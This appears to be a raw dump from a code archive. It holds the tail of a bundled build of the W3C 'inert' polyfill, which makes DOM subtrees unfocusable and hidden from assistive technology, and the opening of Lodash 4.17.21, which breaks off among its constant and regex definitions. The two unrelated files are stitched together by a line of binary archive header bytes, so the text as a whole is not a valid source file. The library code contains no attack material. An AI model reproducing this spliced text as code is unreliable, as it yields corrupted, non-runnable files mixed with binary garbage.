}(this, (function () { 'use strict';

  var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();

  function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

  /**
   * This work is licensed under the W3C Software and Document License
   * (http://www.w3.org/Consortium/Legal/2015/copyright-software-and-document).
   */

  (function () {
    // Return early if we're not running inside of the browser.
    if (typeof window === 'undefined' || typeof Element === 'undefined') {
      return;
    }

    // Convenience function for converting NodeLists.
    /** @type {typeof Array.prototype.slice} */
    var slice = Array.prototype.slice;

    /**
     * IE has a non-standard name for "matches".
     * @type {typeof Element.prototype.matches}
     */
    var matches = Element.prototype.matches || Element.prototype.msMatchesSelector;

    /** @type {string} */
    var _focusableElementsString = ['a[href]', 'area[href]', 'input:not([disabled])', 'select:not([disabled])', 'textarea:not([disabled])', 'button:not([disabled])', 'details', 'summary', 'iframe', 'object', 'embed', 'video', '[contenteditable]'].join(',');

    /**
     * `InertRoot` manages a single inert subtree, i.e. a DOM subtree whose root element has an `inert`
     * attribute.
     *
     * Its main functions are:
     *
     * - to create and maintain a set of managed `InertNode`s, including when mutations occur in the
     *   subtree. The `makeSubtreeUnfocusable()` method handles collecting `InertNode`s via registering
     *   each focusable node in the subtree with the singleton `InertManager` which manages all known
     *   focusable nodes within inert subtrees. `InertManager` ensures that a single `InertNode`
     *   instance exists for each focusable node which has at least one inert root as an ancestor.
     *
     * - to notify all managed `InertNode`s when this subtree stops being inert (i.e. when the `inert`
     *   attribute is removed from the root node). This is handled in the destructor, which calls the
     *   `deregister` method on `InertManager` for each managed inert node.
     */

    var InertRoot = function () {
      /**
       * @param {!HTMLElement} rootElement The HTMLElement at the root of the inert subtree.
       * @param {!InertManager} inertManager The global singleton InertManager object.
       */
      function InertRoot(rootElement, inertManager) {
        _classCallCheck(this, InertRoot);

        /** @type {!InertManager} */
        this._inertManager = inertManager;

        /** @type {!HTMLElement} */
        this._rootElement = rootElement;

        /**
         * @type {!Set<!InertNode>}
         * All managed focusable nodes in this InertRoot's subtree.
         */
        this._managedNodes = new Set();

        // Make the subtree hidden from assistive technology
        if (this._rootElement.hasAttribute('aria-hidden')) {
          /** @type {?string} */
          this._savedAriaHidden = this._rootElement.getAttribute('aria-hidden');
        } else {
          this._savedAriaHidden = null;
        }
        this._rootElement.setAttribute('aria-hidden', 'true');

        // Make all focusable elements in the subtree unfocusable and add them to _managedNodes
        this._makeSubtreeUnfocusable(this._rootElement);

        // Watch for:
        // - any additions in the subtree: make them unfocusable too
        // - any removals from the subtree: remove them from this inert root's managed nodes
        // - attribute changes: if `tabindex` is added, or removed from an intrinsically focusable
        //   element, make that node a managed node.
        this._observer = new MutationObserver(this._onMutation.bind(this));
        this._observer.observe(this._rootElement, { attributes: true, childList: true, subtree: true });
      }

      /**
       * Call this whenever this object is about to become obsolete.  This unwinds all of the state
       * stored in this object and updates the state of all of the managed nodes.
       */


      _createClass(InertRoot, [{
        key: 'destructor',
        value: function destructor() {
          this._observer.disconnect();

          if (this._rootElement) {
            if (this._savedAriaHidden !== null) {
              this._rootElement.setAttribute('aria-hidden', this._savedAriaHidden);
            } else {
              this._rootElement.removeAttribute('aria-hidden');
            }
          }

          this._managedNodes.forEach(function (inertNode) {
            this._unmanageNode(inertNode.node);
          }, this);

          // Note we cast the nulls to the ANY type here because:
          // 1) We want the class properties to be declared as non-null, or else we
          //    need even more casts throughout this code. All bets are off if an
          //    instance has been destroyed and a method is called.
          // 2) We don't want to cast "this", because we want type-aware optimizations
          //    to know which properties we're setting.
          this._observer = /** @type {?} */null;
          this._rootElement = /** @type {?} */null;
          this._managedNodes = /** @type {?} */null;
          this._inertManager = /** @type {?} */null;
        }

        /**
         * @return {!Set<!InertNode>} A copy of this InertRoot's managed nodes set.
         */

      }, {
        key: '_makeSubtreeUnfocusable',


        /**
         * @param {!Node} startNode
         */
        value: function _makeSubtreeUnfocusable(startNode) {
          var _this2 = this;

          composedTreeWalk(startNode, function (node) {
            return _this2._visitNode(node);
          });

          var activeElement = document.activeElement;

          if (!document.body.contains(startNode)) {
            // startNode may be in shadow DOM, so find its nearest shadowRoot to get the activeElement.
            var node = startNode;
            /** @type {!ShadowRoot|undefined} */
            var root = undefined;
            while (node) {
              if (node.nodeType === Node.DOCUMENT_FRAGMENT_NODE) {
                root = /** @type {!ShadowRoot} */node;
                break;
              }
              node = node.parentNode;
            }
            if (root) {
              activeElement = root.activeElement;
            }
          }
          if (startNode.contains(activeElement)) {
            activeElement.blur();
            // In IE11, if an element is already focused, and then set to tabindex=-1
            // calling blur() will not actually move the focus.
            // To work around this we call focus() on the body instead.
            if (activeElement === document.activeElement) {
              document.body.focus();
            }
          }
        }

        /**
         * @param {!Node} node
         */

      }, {
        key: '_visitNode',
        value: function _visitNode(node) {
          if (node.nodeType !== Node.ELEMENT_NODE) {
            return;
          }
          var element = /** @type {!HTMLElement} */node;

          // If a descendant inert root becomes un-inert, its descendants will still be inert because of
          // this inert root, so all of its managed nodes need to be adopted by this InertRoot.
          if (element !== this._rootElement && element.hasAttribute('inert')) {
            this._adoptInertRoot(element);
          }

          if (matches.call(element, _focusableElementsString) || element.hasAttribute('tabindex')) {
            this._manageNode(element);
          }
        }

        /**
         * Register the given node with this InertRoot and with InertManager.
         * @param {!Node} node
         */

      }, {
        key: '_manageNode',
        value: function _manageNode(node) {
          var inertNode = this._inertManager.register(node, this);
          this._managedNodes.add(inertNode);
        }

        /**
         * Unregister the given node with this InertRoot and with InertManager.
         * @param {!Node} node
         */

      }, {
        key: '_unmanageNode',
        value: function _unmanageNode(node) {
          var inertNode = this._inertManager.deregister(node, this);
          if (inertNode) {
            this._managedNodes['delete'](inertNode);
          }
        }

        /**
         * Unregister the entire subtree starting at `startNode`.
         * @param {!Node} startNode
         */

      }, {
        key: '_unmanageSubtree',
        value: function _unmanageSubtree(startNode) {
          var _this3 = this;

          composedTreeWalk(startNode, function (node) {
            return _this3._unmanageNode(node);
          });
        }

        /**
         * If a descendant node is found with an `inert` attribute, adopt its managed nodes.
         * @param {!HTMLElement} node
         */

      }, {
        key: '_adoptInertRoot',
        value: function _adoptInertRoot(node) {
          var inertSubroot = this._inertManager.getInertRoot(node);

          // During initialisation this inert root may not have been registered yet,
          // so register it now if need be.
          if (!inertSubroot) {
            this._inertManager.setInert(node, true);
            inertSubroot = this._inertManager.getInertRoot(node);
          }

          inertSubroot.managedNodes.forEach(function (savedInertNode) {
            this._manageNode(savedInertNode.node);
          }, this);
        }

        /**
         * Callback used when mutation observer detects subtree additions, removals, or attribute changes.
         * @param {!Array<!MutationRecord>} records
         * @param {!MutationObserver} self
         */

      }, {
        key: '_onMutation',
        value: function _onMutation(records, self) {
          records.forEach(function (record) {
            var target = /** @type {!HTMLElement} */record.target;
            if (record.type === 'childList') {
              // Manage added nodes
              slice.call(record.addedNodes).forEach(function (node) {
                this._makeSubtreeUnfocusable(node);
              }, this);

              // Un-manage removed nodes
              slice.call(record.removedNodes).forEach(function (node) {
                this._unmanageSubtree(node);
              }, this);
            } else if (record.type === 'attributes') {
              if (record.attributeName === 'tabindex') {
                // Re-initialise inert node if tabindex changes
                this._manageNode(target);
              } else if (target !== this._rootElement && record.attributeName === 'inert' && target.hasAttribute('inert')) {
                // If a new inert root is added, adopt its managed nodes and make sure it knows about the
                // already managed nodes from this inert subroot.
                this._adoptInertRoot(target);
                var inertSubroot = this._inertManager.getInertRoot(target);
                this._managedNodes.forEach(function (managedNode) {
                  if (target.contains(managedNode.node)) {
                    inertSubroot._manageNode(managedNode.node);
                  }
                });
              }
            }
          }, this);
        }
      }, {
        key: 'managedNodes',
        get: function get() {
          return new Set(this._managedNodes);
        }

        /** @return {boolean} */

      }, {
        key: 'hasSavedAriaHidden',
        get: function get() {
          return this._savedAriaHidden !== null;
        }

        /** @param {?string} ariaHidden */

      }, {
        key: 'savedAriaHidden',
        set: function set(ariaHidden) {
          this._savedAriaHidden = ariaHidden;
        }

        /** @return {?string} */
        ,
        get: function get() {
          return this._savedAriaHidden;
        }
      }]);

      return InertRoot;
    }();

    /**
     * `InertNode` initialises and manages a single inert node.
     * A node is inert if it is a descendant of one or more inert root elements.
     *
     * On construction, `InertNode` saves the existing `tabindex` value for the node, if any, and
     * either removes the `tabindex` attribute or sets it to `-1`, depending on whether the element
     * is intrinsically focusable or not.
     *
     * `InertNode` maintains a set of `InertRoot`s which are descendants of this `InertNode`. When an
     * `InertRoot` is destroyed, and calls `InertManager.deregister()`, the `InertManager` notifies the
     * `InertNode` via `removeInertRoot()`, which in turn destroys the `InertNode` if no `InertRoot`s
     * remain in the set. On destruction, `InertNode` reinstates the stored `tabindex` if one exists,
     * or removes the `tabindex` attribute if the element is intrinsically focusable.
     */


    var InertNode = function () {
      /**
       * @param {!Node} node A focusable element to be made inert.
       * @param {!InertRoot} inertRoot The inert root element associated with this inert node.
       */
      function InertNode(node, inertRoot) {
        _classCallCheck(this, InertNode);

        /** @type {!Node} */
        this._node = node;

        /** @type {boolean} */
        this._overrodeFocusMethod = false;

        /**
         * @type {!Set<!InertRoot>} The set of descendant inert roots.
         *    If and only if this set becomes empty, this node is no longer inert.
         */
        this._inertRoots = new Set([inertRoot]);

        /** @type {?number} */
        this._savedTabIndex = null;

        /** @type {boolean} */
        this._destroyed = false;

        // Save any prior tabindex info and make this node untabbable
        this.ensureUntabbable();
      }

      /**
       * Call this whenever this object is about to become obsolete.
       * This makes the managed node focusable again and deletes all of the previously stored state.
       */


      _createClass(InertNode, [{
        key: 'destructor',
        value: function destructor() {
          this._throwIfDestroyed();

          if (this._node && this._node.nodeType === Node.ELEMENT_NODE) {
            var element = /** @type {!HTMLElement} */this._node;
            if (this._savedTabIndex !== null) {
              element.setAttribute('tabindex', this._savedTabIndex);
            } else {
              element.removeAttribute('tabindex');
            }

            // Use `delete` to restore native focus method.
            if (this._overrodeFocusMethod) {
              delete element.focus;
            }
          }

          // See note in InertRoot.destructor for why we cast these nulls to ANY.
          this._node = /** @type {?} */null;
          this._inertRoots = /** @type {?} */null;
          this._destroyed = true;
        }

        /**
         * @type {boolean} Whether this object is obsolete because the managed node is no longer inert.
         * If the object has been destroyed, any attempt to access it will cause an exception.
         */

      }, {
        key: '_throwIfDestroyed',


        /**
         * Throw if user tries to access destroyed InertNode.
         */
        value: function _throwIfDestroyed() {
          if (this.destroyed) {
            throw new Error('Trying to access destroyed InertNode');
          }
        }

        /** @return {boolean} */

      }, {
        key: 'ensureUntabbable',


        /** Save the existing tabindex value and make the node untabbable and unfocusable */
        value: function ensureUntabbable() {
          if (this.node.nodeType !== Node.ELEMENT_NODE) {
            return;
          }
          var element = /** @type {!HTMLElement} */this.node;
          if (matches.call(element, _focusableElementsString)) {
            if ( /** @type {!HTMLElement} */element.tabIndex === -1 && this.hasSavedTabIndex) {
              return;
            }

            if (element.hasAttribute('tabindex')) {
              this._savedTabIndex = /** @type {!HTMLElement} */element.tabIndex;
            }
            element.setAttribute('tabindex', '-1');
            if (element.nodeType === Node.ELEMENT_NODE) {
              element.focus = function () {};
              this._overrodeFocusMethod = true;
            }
          } else if (element.hasAttribute('tabindex')) {
            this._savedTabIndex = /** @type {!HTMLElement} */element.tabIndex;
            element.removeAttribute('tabindex');
          }
        }

        /**
         * Add another inert root to this inert node's set of managing inert roots.
         * @param {!InertRoot} inertRoot
         */

      }, {
        key: 'addInertRoot',
        value: function addInertRoot(inertRoot) {
          this._throwIfDestroyed();
          this._inertRoots.add(inertRoot);
        }

        /**
         * Remove the given inert root from this inert node's set of managing inert roots.
         * If the set of managing inert roots becomes empty, this node is no longer inert,
         * so the object should be destroyed.
         * @param {!InertRoot} inertRoot
         */

      }, {
        key: 'removeInertRoot',
        value: function removeInertRoot(inertRoot) {
          this._throwIfDestroyed();
          this._inertRoots['delete'](inertRoot);
          if (this._inertRoots.size === 0) {
            this.destructor();
          }
        }
      }, {
        key: 'destroyed',
        get: function get() {
          return (/** @type {!InertNode} */this._destroyed
          );
        }
      }, {
        key: 'hasSavedTabIndex',
        get: function get() {
          return this._savedTabIndex !== null;
        }

        /** @return {!Node} */

      }, {
        key: 'node',
        get: function get() {
          this._throwIfDestroyed();
          return this._node;
        }

        /** @param {?number} tabIndex */

      }, {
        key: 'savedTabIndex',
        set: function set(tabIndex) {
          this._throwIfDestroyed();
          this._savedTabIndex = tabIndex;
        }

        /** @return {?number} */
        ,
        get: function get() {
          this._throwIfDestroyed();
          return this._savedTabIndex;
        }
      }]);

      return InertNode;
    }();

    /**
     * InertManager is a per-document singleton object which manages all inert roots and nodes.
     *
     * When an element becomes an inert root by having an `inert` attribute set and/or its `inert`
     * property set to `true`, the `setInert` method creates an `InertRoot` object for the element.
     * The `InertRoot` in turn registers itself as managing all of the element's focusable descendant
     * nodes via the `register()` method. The `InertManager` ensures that a single `InertNode` instance
     * is created for each such node, via the `_managedNodes` map.
     */


    var InertManager = function () {
      /**
       * @param {!Document} document
       */
      function InertManager(document) {
        _classCallCheck(this, InertManager);

        if (!document) {
          throw new Error('Missing required argument; InertManager needs to wrap a document.');
        }

        /** @type {!Document} */
        this._document = document;

        /**
         * All managed nodes known to this InertManager. In a map to allow looking up by Node.
         * @type {!Map<!Node, !InertNode>}
         */
        this._managedNodes = new Map();

        /**
         * All inert roots known to this InertManager. In a map to allow looking up by Node.
         * @type {!Map<!Node, !InertRoot>}
         */
        this._inertRoots = new Map();

        /**
         * Observer for mutations on `document.body`.
         * @type {!MutationObserver}
         */
        this._observer = new MutationObserver(this._watchForInert.bind(this));

        // Add inert style.
        addInertStyle(document.head || document.body || document.documentElement);

        // Wait for document to be loaded.
        if (document.readyState === 'loading') {
          document.addEventListener('DOMContentLoaded', this._onDocumentLoaded.bind(this));
        } else {
          this._onDocumentLoaded();
        }
      }

      /**
       * Set whether the given element should be an inert root or not.
       * @param {!HTMLElement} root
       * @param {boolean} inert
       */


      _createClass(InertManager, [{
        key: 'setInert',
        value: function setInert(root, inert) {
          if (inert) {
            if (this._inertRoots.has(root)) {
              // element is already inert
              return;
            }

            var inertRoot = new InertRoot(root, this);
            root.setAttribute('inert', '');
            this._inertRoots.set(root, inertRoot);
            // If not contained in the document, it must be in a shadowRoot.
            // Ensure inert styles are added there.
            if (!this._document.body.contains(root)) {
              var parent = root.parentNode;
              while (parent) {
                if (parent.nodeType === 11) {
                  addInertStyle(parent);
                }
                parent = parent.parentNode;
              }
            }
          } else {
            if (!this._inertRoots.has(root)) {
              // element is already non-inert
              return;
            }

            var _inertRoot = this._inertRoots.get(root);
            _inertRoot.destructor();
            this._inertRoots['delete'](root);
            root.removeAttribute('inert');
          }
        }

        /**
         * Get the InertRoot object corresponding to the given inert root element, if any.
         * @param {!Node} element
         * @return {!InertRoot|undefined}
         */

      }, {
        key: 'getInertRoot',
        value: function getInertRoot(element) {
          return this._inertRoots.get(element);
        }

        /**
         * Register the given InertRoot as managing the given node.
         * In the case where the node has a previously existing inert root, this inert root will
         * be added to its set of inert roots.
         * @param {!Node} node
         * @param {!InertRoot} inertRoot
         * @return {!InertNode} inertNode
         */

      }, {
        key: 'register',
        value: function register(node, inertRoot) {
          var inertNode = this._managedNodes.get(node);
          if (inertNode !== undefined) {
            // node was already in an inert subtree
            inertNode.addInertRoot(inertRoot);
          } else {
            inertNode = new InertNode(node, inertRoot);
          }

          this._managedNodes.set(node, inertNode);

          return inertNode;
        }

        /**
         * De-register the given InertRoot as managing the given inert node.
         * Removes the inert root from the InertNode's set of managing inert roots, and remove the inert
         * node from the InertManager's set of managed nodes if it is destroyed.
         * If the node is not currently managed, this is essentially a no-op.
         * @param {!Node} node
         * @param {!InertRoot} inertRoot
         * @return {?InertNode} The potentially destroyed InertNode associated with this node, if any.
         */

      }, {
        key: 'deregister',
        value: function deregister(node, inertRoot) {
          var inertNode = this._managedNodes.get(node);
          if (!inertNode) {
            return null;
          }

          inertNode.removeInertRoot(inertRoot);
          if (inertNode.destroyed) {
            this._managedNodes['delete'](node);
          }

          return inertNode;
        }

        /**
         * Callback used when document has finished loading.
         */

      }, {
        key: '_onDocumentLoaded',
        value: function _onDocumentLoaded() {
          // Find all inert roots in document and make them actually inert.
          var inertElements = slice.call(this._document.querySelectorAll('[inert]'));
          inertElements.forEach(function (inertElement) {
            this.setInert(inertElement, true);
          }, this);

          // Comment this out to use programmatic API only.
          this._observer.observe(this._document.body || this._document.documentElement, { attributes: true, subtree: true, childList: true });
        }

        /**
         * Callback used when mutation observer detects attribute changes.
         * @param {!Array<!MutationRecord>} records
         * @param {!MutationObserver} self
         */

      }, {
        key: '_watchForInert',
        value: function _watchForInert(records, self) {
          var _this = this;
          records.forEach(function (record) {
            switch (record.type) {
              case 'childList':
                slice.call(record.addedNodes).forEach(function (node) {
                  if (node.nodeType !== Node.ELEMENT_NODE) {
                    return;
                  }
                  var inertElements = slice.call(node.querySelectorAll('[inert]'));
                  if (matches.call(node, '[inert]')) {
                    inertElements.unshift(node);
                  }
                  inertElements.forEach(function (inertElement) {
                    this.setInert(inertElement, true);
                  }, _this);
                }, _this);
                break;
              case 'attributes':
                if (record.attributeName !== 'inert') {
                  return;
                }
                var target = /** @type {!HTMLElement} */record.target;
                var inert = target.hasAttribute('inert');
                _this.setInert(target, inert);
                break;
            }
          }, this);
        }
      }]);

      return InertManager;
    }();

    /**
     * Recursively walk the composed tree from |node|.
     * @param {!Node} node
     * @param {(function (!HTMLElement))=} callback Callback to be called for each element traversed,
     *     before descending into child nodes.
     * @param {?ShadowRoot=} shadowRootAncestor The nearest ShadowRoot ancestor, if any.
     */


    function composedTreeWalk(node, callback, shadowRootAncestor) {
      if (node.nodeType == Node.ELEMENT_NODE) {
        var element = /** @type {!HTMLElement} */node;
        if (callback) {
          callback(element);
        }

        // Descend into node:
        // If it has a ShadowRoot, ignore all child elements - these will be picked
        // up by the <content> or <shadow> elements. Descend straight into the
        // ShadowRoot.
        var shadowRoot = /** @type {!HTMLElement} */element.shadowRoot;
        if (shadowRoot) {
          composedTreeWalk(shadowRoot, callback, shadowRoot);
          return;
        }

        // If it is a <content> element, descend into distributed elements - these
        // are elements from outside the shadow root which are rendered inside the
        // shadow DOM.
        if (element.localName == 'content') {
          var content = /** @type {!HTMLContentElement} */element;
          // Verifies if ShadowDom v0 is supported.
          var distributedNodes = content.getDistributedNodes ? content.getDistributedNodes() : [];
          for (var i = 0; i < distributedNodes.length; i++) {
            composedTreeWalk(distributedNodes[i], callback, shadowRootAncestor);
          }
          return;
        }

        // If it is a <slot> element, descend into assigned nodes - these
        // are elements from outside the shadow root which are rendered inside the
        // shadow DOM.
        if (element.localName == 'slot') {
          var slot = /** @type {!HTMLSlotElement} */element;
          // Verify if ShadowDom v1 is supported.
          var _distributedNodes = slot.assignedNodes ? slot.assignedNodes({ flatten: true }) : [];
          for (var _i = 0; _i < _distributedNodes.length; _i++) {
            composedTreeWalk(_distributedNodes[_i], callback, shadowRootAncestor);
          }
          return;
        }
      }

      // If it is neither the parent of a ShadowRoot, a <content> element, a <slot>
      // element, nor a <shadow> element recurse normally.
      var child = node.firstChild;
      while (child != null) {
        composedTreeWalk(child, callback, shadowRootAncestor);
        child = child.nextSibling;
      }
    }

    /**
     * Adds a style element to the node containing the inert specific styles
     * @param {!Node} node
     */
    function addInertStyle(node) {
      if (node.querySelector('style#inert-style, link#inert-style')) {
        return;
      }
      var style = document.createElement('style');
      style.setAttribute('id', 'inert-style');
      style.textContent = '\n' + '[inert] {\n' + '  pointer-events: none;\n' + '  cursor: default;\n' + '}\n' + '\n' + '[inert], [inert] * {\n' + '  -webkit-user-select: none;\n' + '  -moz-user-select: none;\n' + '  -ms-user-select: none;\n' + '  user-select: none;\n' + '}\n';
      node.appendChild(style);
    }

    if (!HTMLElement.prototype.hasOwnProperty('inert')) {
      /** @type {!InertManager} */
      var inertManager = new InertManager(document);

      Object.defineProperty(HTMLElement.prototype, 'inert', {
        enumerable: true,
        /** @this {!HTMLElement} */
        get: function get() {
          return this.hasAttribute('inert');
        },
        /** @this {!HTMLElement} */
        set: function set(inert) {
          inertManager.setInert(this, inert);
        }
      });
    }
  })();

})));
PKGfd[���xbMbM	lodash.jsnu�[���/**
 * @license
 * Lodash <https://lodash.com/>
 * Copyright OpenJS Foundation and other contributors <https://openjsf.org/>
 * Released under MIT license <https://lodash.com/license>
 * Based on Underscore.js 1.8.3 <http://underscorejs.org/LICENSE>
 * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
 */
;(function() {

  /** Used as a safe reference for `undefined` in pre-ES5 environments. */
  var undefined;

  /** Used as the semantic version number. */
  var VERSION = '4.17.21';

  /** Used as the size to enable large array optimizations. */
  var LARGE_ARRAY_SIZE = 200;

  /** Error message constants. */
  var CORE_ERROR_TEXT = 'Unsupported core-js use. Try https://npms.io/search?q=ponyfill.',
      FUNC_ERROR_TEXT = 'Expected a function',
      INVALID_TEMPL_VAR_ERROR_TEXT = 'Invalid `variable` option passed into `_.template`';

  /** Used to stand-in for `undefined` hash values. */
  var HASH_UNDEFINED = '__lodash_hash_undefined__';

  /** Used as the maximum memoize cache size. */
  var MAX_MEMOIZE_SIZE = 500;

  /** Used as the internal argument placeholder. */
  var PLACEHOLDER = '__lodash_placeholder__';

  /** Used to compose bitmasks for cloning. */
  var CLONE_DEEP_FLAG = 1,
      CLONE_FLAT_FLAG = 2,
      CLONE_SYMBOLS_FLAG = 4;

  /** Used to compose bitmasks for value comparisons. */
  var COMPARE_PARTIAL_FLAG = 1,
      COMPARE_UNORDERED_FLAG = 2;

  /** Used to compose bitmasks for function metadata. */
  var WRAP_BIND_FLAG = 1,
      WRAP_BIND_KEY_FLAG = 2,
      WRAP_CURRY_BOUND_FLAG = 4,
      WRAP_CURRY_FLAG = 8,
      WRAP_CURRY_RIGHT_FLAG = 16,
      WRAP_PARTIAL_FLAG = 32,
      WRAP_PARTIAL_RIGHT_FLAG = 64,
      WRAP_ARY_FLAG = 128,
      WRAP_REARG_FLAG = 256,
      WRAP_FLIP_FLAG = 512;

  /** Used as default options for `_.truncate`. */
  var DEFAULT_TRUNC_LENGTH = 30,
      DEFAULT_TRUNC_OMISSION = '...';

  /** Used to detect hot functions by number of calls within a span of milliseconds. */
  var HOT_COUNT = 800,
      HOT_SPAN = 16;

  /** Used to indicate the type of lazy iteratees. */
  var LAZY_FILTER_FLAG = 1,
      LAZY_MAP_FLAG = 2,
      LAZY_WHILE_FLAG = 3;

  /** Used as references for various `Number` constants. */
  var INFINITY = 1 / 0,
      MAX_SAFE_INTEGER = 9007199254740991,
      MAX_INTEGER = 1.7976931348623157e+308,
      NAN = 0 / 0;

  /** Used as references for the maximum length and index of an array. */
  var MAX_ARRAY_LENGTH = 4294967295,
      MAX_ARRAY_INDEX = MAX_ARRAY_LENGTH - 1,
      HALF_MAX_ARRAY_LENGTH = MAX_ARRAY_LENGTH >>> 1;

  /** Used to associate wrap methods with their bit flags. */
  var wrapFlags = [
    ['ary', WRAP_ARY_FLAG],
    ['bind', WRAP_BIND_FLAG],
    ['bindKey', WRAP_BIND_KEY_FLAG],
    ['curry', WRAP_CURRY_FLAG],
    ['curryRight', WRAP_CURRY_RIGHT_FLAG],
    ['flip', WRAP_FLIP_FLAG],
    ['partial', WRAP_PARTIAL_FLAG],
    ['partialRight', WRAP_PARTIAL_RIGHT_FLAG],
    ['rearg', WRAP_REARG_FLAG]
  ];

  /** `Object#toString` result references. */
  var argsTag = '[object Arguments]',
      arrayTag = '[object Array]',
      asyncTag = '[object AsyncFunction]',
      boolTag = '[object Boolean]',
      dateTag = '[object Date]',
      domExcTag = '[object DOMException]',
      errorTag = '[object Error]',
      funcTag = '[object Function]',
      genTag = '[object GeneratorFunction]',
      mapTag = '[object Map]',
      numberTag = '[object Number]',
      nullTag = '[object Null]',
      objectTag = '[object Object]',
      promiseTag = '[object Promise]',
      proxyTag = '[object Proxy]',
      regexpTag = '[object RegExp]',
      setTag = '[object Set]',
      stringTag = '[object String]',
      symbolTag = '[object Symbol]',
      undefinedTag = '[object Undefined]',
      weakMapTag = '[object WeakMap]',
      weakSetTag = '[object WeakSet]';

  var arrayBufferTag = '[object ArrayBuffer]',
      dataViewTag = '[object DataView]',
      float32Tag = '[object Float32Array]',
      float64Tag = '[object Float64Array]',
      int8Tag = '[object Int8Array]',
      int16Tag = '[object Int16Array]',
      int32Tag = '[object Int32Array]',
      uint8Tag = '[object Uint8Array]',
      uint8ClampedTag = '[object Uint8ClampedArray]',
      uint16Tag = '[object Uint16Array]',
      uint32Tag = '[object Uint32Array]';

  /** Used to match empty string literals in compiled template source. */
  var reEmptyStringLeading = /\b__p \+= '';/g,
      reEmptyStringMiddle = /\b(__p \+=) '' \+/g,
      reEmptyStringTrailing = /(__e\(.*?\)|\b__t\)) \+\n'';/g;

  /** Used to match HTML entities and HTML characters. */
  var reEscapedHtml = /&(?:amp|lt|gt|quot|#39);/g,
      reUnescapedHtml = /[&<>"']/g,
      reHasEscapedHtml = RegExp(reEscapedHtml.source),
      reHasUnescapedHtml = RegExp(reUnescapedHtml.source);

  /** Used to match template delimiters. */
  var reEscape = /<%-([\s\S]+?)%>/g,
      reEvaluate = /<%([\s\S]+?)%>/g,
      reInterpolate = /<%=([\s\S]+?)%>/g;

  /** Used to match property names within property paths. */
  var reIsDeepProp = /\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,
      reIsPlainProp = /^\w*$/,
      rePropName = /[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g;

  /**
   * Used to match `RegExp`
   * [syntax characters](http://ecma-international.org/ecma-262/7.0/#sec-patterns).
   */
  var reRegExpChar = /[\\^$.*+?()[\]{}|]/g,
      reHasRegExpChar = RegExp(reRegExpChar.source);

  /** Used to match leading whitespace. */
  var reTrimStart = /^\s+/;

  /** Used to match a single whitespace character. */
  var reWhitespace = /\s/;

  /** Used to match wrap detail comments. */
  var reWrapComment = /\{(?:\n\/\* \[wrapped with .+\] \*\/)?\n?/,
      reWrapDetails = /\{\n\/\* \[wrapped with (.+)\] \*/,
      reSplitDetails = /,? & /;

  /** Used to match words composed of alphanumeric characters. */
  var reAsciiWord = /[^\x00-\x2f\x3a-\x40\x5b-\x60\x7b-\x7f]+/g;

  /**
   * Used to validate the `validate` option in `_.template` variable.
   *
   * Forbids characters which could potentially change the meaning of the function argument definition:
   * - "()," (modification of function parameters)
   * - "=" (default value)
   * - "[]{}" (destructuring of function parameters)
   * - "/" (beginning of a comment)
   * - whitespace
   */
  var reForbiddenIdentifierChars = /[()=,{}\[\]\/\s]/;

  /** Used to match backslashes in property paths. */
  var reEscapeChar = /\\(\\)?/g;

  /**
   * Used to match
   * [ES template delimiters](http://ecma-international.org/ecma-262/7.0/#sec-template-literal-lexical-components).
   */
  var reEsTemplate = /\$\{([^\\}]*(?:\\.[^\\}]*)*)\}/g;

  /** Used to match `RegExp` flags from their coerced string values. */
  var reFlags = /\w*$/;

  /** Used to detect bad signed hexadecimal string values. */
  var reIsBadHex = /^[-+]0x[0-9a-f]+$/i;

  /** Used to detect binary string values. */
  var reIsBinary = /^0b[01]+$/i;

  /** Used to detect host constructors (Safari). */
  var reIsHostCtor = /^\[object .+?Constructor\]$/;

  /** Used to detect octal string values. */
  var reIsOctal = /^0o[0-7]+$/i;

  /** Used to detect unsigned integer values. */
  var reIsUint = /^(?:0|[1-9]\d*)$/;

  /** Used to match Latin Unicode letters (excluding mathematical operators). */
  var reLatin = /[\xc0-\xd6\xd8-\xf6\xf8-\xff\u0100-\u017f]/g;

  /** Used to ensure capturing order of template delimiters. */
  var reNoMatch = /($^)/;

  /** Used to match unescaped characters in compiled string literals. */
  var reUnescapedString = /['\n\r\u2028\u2029\\]/g;

  /** Used to compose unicode character classes. */
  var rsAstralRange = '\\ud800-\\udfff',
      rsComboMarksRange = '\\u0300-\\u036f',
      reComboHalfMarksRange = '\\ufe20-\\ufe2f',
      rsComboSymbolsRange = '\\u20d0-\\u20ff',
      rsComboRange = rsComboMarksRange + reComboHalfMarksRange + rsComboSymbolsRange,
      rsDingbatRange = '\\u2700-\\u27bf',
      rsLowerRange = 'a-z\\xdf-\\xf6\\xf8-\\xff',
      rsMathOpRange = '\\xac\\xb1\\xd7\\xf7',
      rsNonCharRange = '\\x00-\\x2f\\x3a-\\x40\\x5b-\\x60\\x7b-\\xbf',
      rsPunctuationRange = '\\u2000-\\u206f',
      rsSpaceRange = ' \\t\\x0b\\f\\xa0\\ufeff\\n\\r\\u2028\\u2029\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000',
      rsUpperRange = 'A-Z\\xc0-\\xd6\\xd8-\\xde',
      rsVarRange = '\\ufe0e\\ufe0f',
      rsBreakRange = rsMathOpRange + rsNonCharRange + rsPunctuationRange + rsSpaceRange;

  /** Used to compose unicode capture groups. */
  var rsApos = "['\u2019]",
      rsAstral = '[' + rsAstralRange + ']',
      rsBreak = '[' + rsBreakRange + ']',
      rsCombo = '[' + rsComboRange + ']',
      rsDigits = '\\d+',
      rsDingbat = '[' + rsDingbatRange + ']',
      rsLower = '[' + rsLowerRange + ']',
